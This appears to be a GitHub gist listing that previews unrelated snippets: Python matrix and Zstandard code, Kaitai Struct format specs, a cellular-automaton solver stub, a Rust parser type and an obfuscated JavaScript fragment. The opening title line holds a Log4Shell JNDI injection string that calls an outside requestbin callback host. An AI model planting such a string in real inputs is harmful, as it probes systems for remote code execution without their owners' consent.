This is a test ${jndi:ldap://gist1.b1bb99d3d48384596141.d.requestbin.net}
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
def make_matrix(N, base=0.05, decay=0.9): | |
assert N >= 1 | |
M = [] | |
for i in range(N-1): | |
p = base * decay**i | |
# Markov chain matrix, state 'i coins' moves to 'i+1 coins' with probability p or else stays | |
M.append([0.0]*i + [1 - p, p] + [0.0] * (N-i-2)) | |
M.append([0.0]*(N-1) + [1.0]) # terminal state, 'N-1 or more coins' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(_0x2e6577,_0x4ee073){ | |
function _0xe4f626(_0x106f92,_0x25e6db,_0x3c7bc7,_0x11f82f,_0x203fcb){return _0x1d56(_0x11f82f- -0x14a,_0x106f92);} | |
function _0x1b7536(_0x2cae9e,_0x3fa77d,_0xd25a80,_0x47a3b6,_0x201dd8){return _0x1d56(_0x201dd8- -0x2ee,_0xd25a80);} | |
function _0x1de621(_0x297d3c,_0x111048,_0x51f783,_0x2d7353,_0x33555d){return _0x1d56(_0x51f783-0x86,_0x297d3c);} | |
function _0x2de542(_0x343d23,_0x3b9f50,_0x43b787,_0x5a569b,_0x32e043){return _0x1d56(_0x32e043- -0x149,_0x3b9f50);} | |
function _0x47adc8(_0x183ea2,_0x23d08f,_0x5bb9b8,_0x1bc860,_0x72ccbf){return _0x1d56(_0x183ea2-0x94,_0x5bb9b8);} | |
const _0x5540b0=_0x2e6577(); | |
let att=0; | |
// skip all the attempts | |
for(;att<465;att++)_0x5540b0['push'](_0x5540b0['shift']()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
def header(): | |
return b"\x28\xb5\x2f\xfd\x00\x38" # ZSTD header, no checksum, no dict, 128K window size | |
def raw(b, end=False): | |
#print("RAW %d bytes" % len(b), repr(b)) | |
blk = [] | |
while len(b) > 128 * 1024: | |
i = struct.pack("<I", 128 * 1024 << 3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
meta: | |
id: gimp_xcf | |
file-extension: xcf | |
xref: | |
justsolve: XCF | |
pronom: fmt/615 | |
mime-type: image/x-xcf | |
mime-type: image/xcf | |
wikidata: Q261907 | |
encoding: utf8 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
meta: | |
id: etf | |
file-extension: etf | |
title: Erlang's External Term Format | |
endian: be | |
doc-ref: https://erlang.org/doc/apps/erts/erl_ext_dist.html | |
seq: | |
- id: messages | |
type: message | |
repeat: eos |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
meta: | |
id: mp3 | |
file-extension: mp3 | |
seq: | |
- id: frame0 | |
type: frame | |
- id: frames | |
type: frame | |
repeat: expr | |
repeat-expr: 50 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
meta: | |
id: zstd | |
title: Zstandard compression format | |
file-extension: zst | |
xref: | |
justsolve: Zstandard | |
mime: application/zstd | |
rfc: 8478 | |
wikidata: Q105853477 | |
endian: le |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This code starts at line 1045... | |
# Imagine 1000 lines of frankensteined Python code that implements a (bad) SAT solver here | |
class CellSolver: | |
def __init__(this, w, h, steps=1, rule_b=(3,), rule_s=(2,3), diagonals=True): | |
assert steps >= 1 | |
assert w >= 1 | |
assert h >= 1 | |
# XXX: Only Conway's for now |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct ParseError<'a> { | |
Whatever(&'a [u8]), | |
Message(String), | |
} | |
/// Parse is a type used as the return type of parser functions | |
/// In case of failure, it holds an error message | |
/// And in case of success, it holds an object of type T, and the bytes that still need to be parsed | |
enum Parse<'a, T> { | |
Success(T, &'a [u8]), |